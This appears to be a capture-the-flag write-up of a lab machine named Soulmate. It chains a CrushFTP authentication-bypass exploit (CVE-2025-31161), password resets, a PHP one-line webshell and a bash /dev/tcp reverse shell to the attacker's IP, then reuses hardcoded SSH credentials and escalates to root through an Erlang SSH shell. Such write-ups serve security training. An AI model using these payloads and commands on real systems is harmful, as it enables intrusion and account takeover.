Introduction #
Soulmate starts with a dating-type website. Initial enumeration leads to the discovery of an ftp subdomain running CrushFTP. This instance is vulnerable to an authentication bypass, allowing me to create a new admin account and explore the system. Through the file management interface, I find that user ben has a shared folder containing the main website’s codebase. I can upload a PHP webshell there to gain remote code execution and establish a reverse shell. While exploring the filesystem, I discover hardcoded credentials for ben, which grants SSH access to the box. For privilege escalation to root, enumeration of local services reveals an SSH instance that provides an Erlang shell with access to the os module, allowing me to directly read the final flag.
nmap #
nmap finds two open TCP ports, SSH (22) and HTTP (80):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.78.17
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add soulmate.htb to /etc/hosts
Web - TCP 80 #
It looks like a dating website

I can create an account:

And log in:

But not much else.
Subdomain enum #
As I have the domain name, I will try to find any available subdomains of soulmate.htb:
ββ$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://soulmate.htb/ -H 'Host: FUZZ.soulmate.htb' -fs 154
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://soulmate.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.soulmate.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
ftp [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 78ms]
FTP [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 84ms]
Ftp [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 83ms]
:: Progress: [220561/220561] :: Job [1/1] :: 716 req/sec :: Duration: [0:04:50] :: Errors: 0 ::
There is one hit - ftp.soulmate.htb - add it to /etc/hosts and check it.
Directory bruteforce #
Directory bruteforce returns nothing useful.
ββ$ feroxbuster -u http://soulmate.htb --dont-extract-links
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://soulmate.htb
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Config File β /etc/feroxbuster/ferox-config.toml
π HTTP methods β [GET]
π Recursion Depth β 4
π New Version Available β https://github.com/epi052/feroxbuster/releases/latest
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 306l 1061w 16688c http://soulmate.htb/
301 GET 7l 12w 178c http://soulmate.htb/assets => http://soulmate.htb/assets/
301 GET 7l 12w 178c http://soulmate.htb/assets/images => http://soulmate.htb/assets/images/
301 GET 7l 12w 178c http://soulmate.htb/assets/css => http://soulmate.htb/assets/css/
301 GET 7l 12w 178c http://soulmate.htb/assets/images/profiles => http://soulmate.htb/assets/images/profiles/
[####################] - 2m 150000/150000 0s found:5 errors:1381
[####################] - 2m 30000/30000 226/s http://soulmate.htb/
[####################] - 2m 30000/30000 223/s http://soulmate.htb/assets/
[####################] - 2m 30000/30000 225/s http://soulmate.htb/assets/images/
[####################] - 2m 30000/30000 224/s http://soulmate.htb/assets/css/
[####################] - 2m 30000/30000 225/s http://soulmate.htb/assets/images/profiles/
FTP.soulmate.htb #
The fpt subdomain is running an instance of CrushFTP:

Without credentials I need to look for some vulnerability, Googling for CrushFTP CVE points me to CVE-2025-31161
CVE-2025-31161 #
Using THIS Poc
I created new account:
ββ$ python cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --new_user tester --password tester
[+] Preparing Payloads
[-] Warming up the target
[+] Sending Account Create Request
[!] User created successfully
[+] Exploit Complete you can now login with
[*] Username: tester
[*] Password: tester.
The new user should be created, I can attemp to log in:

Shell as www-data #
In user manager I played around with the file window a little, but the next step was right above it, it seems like I can change password of existing users:

I did that for all accounts that seemed important:

- Username : jenna Password : m4yqG2
- Username : crushadmin Password : nXxKWc
- Username : ben Password : x3eEnh
And attempted to log in, starting with ben:

It worked and I can look at and download his files.
There are some scripts in IT folder that lead nowhere, but then there is folder webProd that look interesting.
Inside there are *.php files with names resembling pages on the original website:

If it truly is production folder I should be able to upload my own php webshell and get code execution.
First, I need to enable upload:

And now I can add simple webshell:
<?=`$_GET[cmd]`?>

And test it:

Note: The php_shell.php file gets removed after few minutes, just reupload it and continue.
It works! Now I can get a reverse shell:
Start a listener:
ββ$ nc -lvnp 4444
paste URL encoded reverse shell to the web shell:
bash -c "bash -i >& /dev/tcp/10.10.15.12/4444 0>&1"
http://soulmate.htb/php_shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.162%2F4444%200%3E%261%22

and catch it on the awaiting listener:
ββ$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.162] from (UNKNOWN) [10.129.231.23] 39508
bash: cannot set terminal process group (1150): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soulmate:~/soulmate.htb/public$
Now I can look around.
Shell as ben #
After a while I stumbled upon this:
www-data@soulmate:/usr/local/lib/erlang_login$ ls
ls
login.escript
start.escript
www-data@soulmate:/usr/local/lib/erlang_login$ cat start.escript
cat start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner
main(_) ->
application:start(asn1),
application:start(crypto),
application:start(public_key),
application:start(ssh),
io:format("Starting SSH daemon with logging...~n"),
case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},
{user_dir_fun, fun(User) ->
Dir = filename:join("/home", User),
io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
filename:join(Dir, ".ssh")
end},
{connectfun, fun(User, PeerAddr, Method) ->
io:format("Auth success for user: ~p from ~p via ~p~n",
[User, PeerAddr, Method]),
true
end},
{failfun, fun(User, PeerAddr, Reason) ->
io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
[User, PeerAddr, Reason]),
true
end},
{auth_methods, "publickey,password"},
{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
]) of
{ok, _Pid} ->
io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end,
receive
stop -> ok
end.
It looks like I found hardcoded credentials: ben:HouseH0ldings998
It worked on SSH and I am in:
ββ$ ssh ben@10.129.231.23
ben@10.129.231.23's password:
Last login: Tue Feb 10 12:08:21 2026 from 10.10.14.162
ben@soulmate:~$ ls
user.txt
ben@soulmate:~$ cat user.txt
5fb00de5bdd8e3655c8498e1aba742b5
Root #
This time there is no obvious path via sudo -l:
ben@soulmate:~$ sudo -l
[sudo] password for ben:
Sorry, user ben may not run sudo on soulmate.
Looking at open ports, there is 2222:
ben@soulmate:~$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:4369 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8443 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:2222 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:36879 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9090 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:35521 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 [::1]:4369 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 511 [::]:80 [::]:*
2222 screams SSH, and it is:
ben@soulmate:~$ nc 127.0.0.1 2222
SSH-2.0-Erlang/5.2.9
I can connect and get an Erlang shell.
I should be able to run OS commands using os:cmd/1:
(ssh_runner@soulmate)2> os:cmd("id").
(ssh_runner@soulmate)2> os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
And I am root straight away.
So just grab the flag:
(ssh_runner@soulmate)3> os:cmd("cat /root/root.txt").
(ssh_runner@soulmate)3> os:cmd("cat /root/root.txt").
"9b4f6bd6450e8b06c07b1970bdab9a15\n"
And that is all!